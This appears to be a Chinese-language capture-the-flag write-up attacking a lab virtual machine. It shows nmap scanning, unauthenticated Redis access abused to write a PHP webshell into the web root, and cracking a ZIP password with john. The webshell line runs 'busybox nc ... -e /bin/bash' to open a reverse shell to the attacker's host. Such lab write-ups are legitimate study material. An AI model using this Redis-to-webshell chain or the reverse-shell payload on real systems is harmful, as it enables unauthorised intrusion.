┌──(root㉿kali)-[/miaosec] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-06 14:27 CST Nmap scan report for 192.168.2.1 Host is up (0.00036s latency). MAC Address: 0A:00:27:00:00:07 (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00065s latency). MAC Address: 08:00:27:CC:CD:C8 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.34 Host is up (0.00096s latency). MAC Address: 08:00:27:EE:9A:C7 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.14 seconds
靶机IP:192.168.2.34
2、端口扫描
1.全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿kali)-[/miaosec] └─# nmap --min-rate 10000 -p- 192.168.2.34 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-06 14:27 CST Nmap scan report for 192.168.2.34 Host is up (0.00047s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 80/tcp open http 6379/tcp open redis 8080/tcp open http-proxy MAC Address: 08:00:27:EE:9A:C7 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 6.00 seconds
┌──(root㉿kali)-[/miaosec] └─# nmap --min-rate 10000 -sT -sV -sC -O -p80,6379,8080 192.168.2.34 Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-06 14:27 CST Nmap scan report for 192.168.2.34 Host is up (0.00060s latency).
PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-server-header: Apache/2.4.54 (Debian) |_http-title: Apache2 Test Debian Default Page: It works 6379/tcp open redis Redis key-value store 6.0.16 8080/tcp open http Apache httpd 2.4.54 ((Debian)) |_http-title: Apache2 Test Debian Default Page: It works |_http-server-header: Apache/2.4.54 (Debian) MAC Address: 08:00:27:EE:9A:C7 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.36 seconds
┌──(root㉿kali)-[/miaosec] └─# dirsearch -u "http://192.168.2.34" /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kali)-[/miaosec] └─# dirsearch -u "http://192.168.2.34:8080" /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kali)-[/miaosec] └─# redis-cli -h 192.168.2.34 192.168.2.34:6379> info # Server redis_version:6.0.16 ...
1-写入webshell
由于存在多个web服务器,直接尝试写入webshell
1 2 3 4 5 6 7 8
192.168.2.34:6379> config setdir /var/www/html OK 192.168.2.34:6379> config set dbfilename rev.php OK 192.168.2.34:6379> set rev "<?php exec('busybox nc 192.168.2.4 4444 -e /bin/bash');?>" OK 192.168.2.34:6379> save OK
┌──(root㉿kali)-[/tmp] └─#john --wordlist=/opt/rockyou.txt hash Usingdefaultinputencoding: UTF-8 Loaded 1password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q'or Ctrl-C toabort, almost any other key for status already (root.zip/root.txt)